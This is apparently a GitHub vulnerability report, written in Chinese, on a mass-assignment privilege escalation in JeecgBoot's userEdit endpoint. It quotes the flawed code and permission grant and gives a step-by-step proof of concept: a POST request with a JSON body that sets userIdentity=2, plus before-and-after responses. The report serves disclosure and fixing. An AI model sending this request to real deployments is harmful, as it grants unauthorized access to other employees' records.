Skip to content

userIdentity 提权漏洞 #9596

@AliceS614

Description

@AliceS614

1. 漏洞概述

JeecgBoot 的 SysUser 实体中 userIdentity 字段控制用户的数据可见范围:

  • userIdentity=1 (或 null):普通成员,无法查看部门成员列表
  • userIdentity=2:部门主管/上级,可查看管辖部门下的所有成员

该字段本应仅通过"部门负责人设置"流程由系统内部修改(SysUserServiceImpl.changeDepartChargePerson()),但 POST /sys/user/login/setting/userEdit 端点存在提权漏洞:直接绑定完整 SysUser 实体,通过 updateById() 持久化请求体,未对 userIdentity 做服务端覆盖或白名单过滤

该端点被 @RequiresPermissions("system:user:setting:edit") 保护——但此权限被分配给了 test 角色(系统用户标配角色,所有注册用户默认拥有)。

2. 漏洞调用链

2.1 入口 — SysUserController.userEdit

文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816

@PostMapping("/login/setting/userEdit")
@RequiresPermissions("system:user:setting:edit")   // ← test 角色持有此权限!
public Result<String> userEdit(@RequestBody SysUser sysUser, HttpServletRequest request) {
    String username = JwtUtil.getUserNameByToken(request);
    SysUser user = sysUserService.getById(sysUser.getId());
    if(user==null) {
       return Result.error("未找到该用户数据");
    }
    if(!username.equals(user.getUsername())){        // [1] 所有权检查:仅比对 username
        return Result.error("只能修改自己的数据");
    }
    sysUserService.updateById(sysUser);              // [2] 持久化的是请求体 sysUser,不是 user!
    return Result.ok("更新个人信息成功");
}

问题 1 — 所有权检查后持久化了错误的对象: if(!username.equals(user.getUsername())) 通过了,但接下来调用的是 updateById(sysUser)——请求体参数,而不是从数据库查出的 user。注入的 userIdentity=2departIds 被直接写入数据库。

问题 2 — 无字段白名单: updateById() 会更新请求体中所有非 null 字段。与同一 Controller 中安全的 appEdit() 方法(逐字段手动赋值)形成鲜明对比。

2.2 userIdentity 的实际权限控制

文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826

@RequestMapping(value = "/departUserList", method = RequestMethod.GET)
public Result<IPage<SysUser>> departUserList(...) {
    if(oConvertUtils.isEmpty(depId)){
        LoginUser user = (LoginUser) SecurityUtils.getSubject().getPrincipal();
        int userIdentity = user.getUserIdentity() != null ? user.getUserIdentity()
                                                           : CommonConstant.USER_IDENTITY_1;
        if(oConvertUtils.isNotEmpty(userIdentity)
                && userIdentity == CommonConstant.USER_IDENTITY_2      // ← 仅 userIdentity=2
                && oConvertUtils.isNotEmpty(user.getDepartIds())) {    // ← 且 departIds 非空
            subDepids = sysDepartService.getMySubDepIdsByDepId(user.getDepartIds());
            // → 查询管辖部门及所有子部门的用户列表
        }
    }
}

逻辑: 当不传 depId 查看"我的部门"时,仅 userIdentity=2departIds 非空的用户能获取部门用户列表。userIdentity=1 的用户 subDepids 保持为空,返回空结果。

2.3 权限配置缺陷

文件: db/jeecgboot-mysql-5.7.sql:9063

-- test 角色被分配了 system:user:setting:edit
INSERT INTO sys_role_permission VALUES ('1963153837854330882',
    'ee8626f80f7c2619917b6236f3a7f02b',   -- test 角色(系统用户标配角色)
    '1596335805278990338');                -- system:user:setting:edit

test 是"系统用户标配角色",所有注册用户默认拥有。system:user:setting:edit 的设计意图是允许用户修改个人信息(头像、手机号等),但其底层实现 updateById(requestBody) 没有字段白名单。

2.4 userIdentity 字段 — 未受保护的 Entity 属性

文件: jeecg-module-system/jeecg-system-biz/.../entity/SysUser.java:170-174

/**
 * 身份(0 普通成员 1 上级)
 */
@Excel(name="(1普通成员 2上级)",width = 15)
private Integer userIdentity;

问题: userIdentity 仅标注了 @Excel(导出注解),没有任何反序列化保护。Jackson 作为 HTTP 消息转换器正常绑定请求 JSON 中的 "userIdentity": 2

3. PoC 复现步骤

使用两个用户账号进行演示。

  • 参照用户:supervisor(userIdentity=2, departIds=财务部, 仅 test 角色)
  • 攻击者:testonly(userIdentity=1, departIds=空, 仅 test 角色)
  • 两个用户同属"财务部"(a7d7e77e06c84325a40932163adcdaa6

3.1 攻击前:权限对比

supervisor(主管)登录,调用 departUserList

GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <supervisor_jwt>

Response (4 条记录):

{"success":true,"result":{"records":[
  {"username":"jeecg",...},
  {"username":"zhangsan",...},
  {"username":"supervisor",...},
  {"username":"testonly",...}
]}}

testonly(下属)登录,调用同一端点:

GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <testonly_jwt>

Response (0 条记录):

{"success":true,"result":{"records":[]}}

3.2 攻击:Mass Assignment 自我升级

POST /jeecg-boot/sys/user/login/setting/userEdit
X-Access-Token: <testonly_jwt>
Content-Type: application/json

{
  "id": "2049428658667565058",
  "userIdentity": 2,
  "departIds": "a7d7e77e06c84325a40932163adcdaa6"
}

Response:

HTTP/1.1 200 OK
{"success":true,"message":"更新个人信息成功","code":200}

3.3 攻击后:重新登录并验证

重新登录(刷新 Shiro 缓存中的 LoginUser,使其携带新的 userIdentity=2departIds)。

再次调用 departUserList

GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <testonly_new_jwt>

Response (4 条记录):

{"success":true,"result":{"records":[
  {"username":"jeecg",...},
  {"username":"zhangsan",...},
  {"username":"supervisor",...},
  {"username":"testonly",...}
]}}

3.4 攻击前后对比

                    departUserList 可见用户数
                    ─────────────────────────
supervisor     4 (jeecg, zhangsan, supervisor, testonly)
  (主管, identity=2)

testonly       0 ← 攻击前
  (下属, identity=1)

testonly       4 ← 攻击后
  (自我升级, identity=2)

攻击后,下属能看到与主管完全相同的部门成员列表。权限提升成功。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions